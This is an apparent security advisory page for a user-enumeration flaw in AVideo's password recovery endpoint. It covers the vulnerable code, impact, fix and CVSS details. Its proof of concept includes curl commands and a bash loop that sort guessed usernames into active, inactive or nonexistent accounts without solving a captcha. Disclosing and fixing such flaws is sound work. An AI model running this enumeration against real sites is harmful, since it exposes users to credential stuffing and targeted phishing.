Skip to content

GHSA-m99f-mmvg-3xmx CVE-2026-33688

AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint

Medium Packagist
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.28%
Chance of exploitation in the next 30 days. Higher than 20.88% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-204 Observable Response Discrepancy
Fix
None yet
No fixed version published

Description

Summary

The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.

Details

In objects/userRecoverPass.php, the request flow is:

  1. Line 11 — A User object is instantiated from unsanitized $_REQUEST['user'] with no authentication:
$user = new User(0, $_REQUEST['user'], false);
  1. Lines 27-29 — If the user does not exist, a distinct error is returned immediately:
if (empty($user->getStatus())) {
    $obj->error = __("User not found");
    die(json_encode($obj));
}
  1. Lines 31-33 — If the user exists but is not active, a different distinct error is returned:
if ($user->getStatus() !== 'a') {
    $obj->error = __("The user is not active");
    die(json_encode($obj));
}
  1. Lines 37-41 — Captcha validation only occurs after both user enumeration checks:
if (empty($_REQUEST['captcha'])) {
    $obj->error = __("Captcha is empty");
} else {
    require_once 'captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);

This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.

By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.

No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).

PoC

# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"

# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"

# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
  -d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"

# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
  result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
    -d "user=${user}&captcha=")
  error=$(echo "$result" | jq -r .error)
  if [ "$error" = "Captcha is empty" ]; then
    echo "[ACTIVE] $user"
  elif [ "$error" = "The user is not active" ]; then
    echo "[INACTIVE] $user"
  else
    echo "[NOT FOUND] $user"
  fi
done

Impact

  • Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
  • Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
  • Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
  • Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
  • No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.

Recommended Fix

Move the captcha validation before the user existence checks, and return a generic message regardless of user status:

// In objects/userRecoverPass.php, replace lines 26-41 with:

    header('Content-Type: application/json');

    // Validate captcha FIRST, before any user lookups
    if (empty($_REQUEST['captcha'])) {
        $obj->error = __("Captcha is empty");
        die(json_encode($obj));
    }
    require_once 'captcha.php';
    $valid = Captcha::validation($_REQUEST['captcha']);
    if (!$valid) {
        $obj->error = __("Your code is not valid");
        $obj->reloadCaptcha = true;
        die(json_encode($obj));
    }

    // After captcha passes, check user — but use generic message
    if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {
        // Generic message — do not reveal whether user exists or is active
        $obj->success = __("If this account exists, a recovery email has been sent");
        die(json_encode($obj));
    }

    // Proceed with actual password recovery...
    $recoverPass = $user->setRecoverPass();

Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-204: Observable Response Discrepancy

The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor